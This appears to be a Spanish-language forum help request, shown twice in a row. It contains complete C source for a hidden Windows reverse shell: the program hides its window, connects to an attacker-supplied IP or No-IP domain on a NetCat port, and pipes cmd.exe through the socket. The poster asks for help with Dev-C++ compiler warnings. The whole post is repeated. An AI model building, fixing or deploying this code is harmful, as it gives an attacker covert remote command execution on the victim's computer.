#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char *argv[])
{
ShowWindow(GetForegroundWindow(),SW_HIDE);
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in addr;
memset(&addr,0,sizeof(addr));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
addr.sin_family = AF_INET;
addr.sin_port = htons(PUERTO); //Atencion a esta linea, aki va el
puerto de conexion NetCat
addr.sin_addr.s_addr = inet_addr("AKI TU IP O DOMINIO
NO-IP");//Atencion a esta linea, aki va tu IP
connect(hSocket,(struct sockaddr*)&addr,sizeof(addr));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
ExitProcess(0);
}
hola me aperecen errores en las lineas en rojo, estoy ocupando el dev c++. yo se programar en c++ pero basico no lo domino a la perfeccion.
en la primera linea en rojo:
18 C:\Documents and Settings\Pancho\Escritorio\nc.cpp [Warning] passing NULL used for non-pointer converting 3 of `SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, GROUP, DWORD)'
18 C:\Documents and Settings\Pancho\Escritorio\nc.cpp [Warning] passing NULL used for non-pointer converting 5 of `SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, GROUP, DWORD)'
18 C:\Documents and Settings\Pancho\Escritorio\nc.cpp [Warning] passing NULL used for non-pointer converting 6 of `SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, GROUP, DWORD)'
en la segunda linea en rojo:
26 C:\Documents and Settings\Pancho\Escritorio\nc.cpp [Warning] passing NULL used for non-pointer converting 6 of `BOOL CreateProcessA(const CHAR*, CHAR*, _SECURITY_ATTRIBUTES*, _SECURITY_ATTRIBUTES*, BOOL, DWORD, void*, const CHAR*, _STARTUPINFOA*, _PROCESS_INFORMATION*)'
si me pueden ayudar sera ideal
esop
grax chaus
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char *argv[])
{
ShowWindow(GetForegroundWindow(),SW_HIDE);
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in addr;
memset(&addr,0,sizeof(addr));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
addr.sin_family = AF_INET;
addr.sin_port = htons(PUERTO); //Atencion a esta linea, aki va el
puerto de conexion NetCat
addr.sin_addr.s_addr = inet_addr("AKI TU IP O DOMINIO
NO-IP");//Atencion a esta linea, aki va tu IP
connect(hSocket,(struct sockaddr*)&addr,sizeof(addr));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
ExitProcess(0);
}
hola me aperecen errores en las lineas en rojo, estoy ocupando el dev c++. yo se programar en c++ pero basico no lo domino a la perfeccion.
en la primera linea en rojo:
18 C:\Documents and Settings\Pancho\Escritorio\nc.cpp [Warning] passing NULL used for non-pointer converting 3 of `SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, GROUP, DWORD)'
18 C:\Documents and Settings\Pancho\Escritorio\nc.cpp [Warning] passing NULL used for non-pointer converting 5 of `SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, GROUP, DWORD)'
18 C:\Documents and Settings\Pancho\Escritorio\nc.cpp [Warning] passing NULL used for non-pointer converting 6 of `SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, GROUP, DWORD)'
en la segunda linea en rojo:
26 C:\Documents and Settings\Pancho\Escritorio\nc.cpp [Warning] passing NULL used for non-pointer converting 6 of `BOOL CreateProcessA(const CHAR*, CHAR*, _SECURITY_ATTRIBUTES*, _SECURITY_ATTRIBUTES*, BOOL, DWORD, void*, const CHAR*, _STARTUPINFOA*, _PROCESS_INFORMATION*)'
si me pueden ayudar sera ideal
esop
grax chaus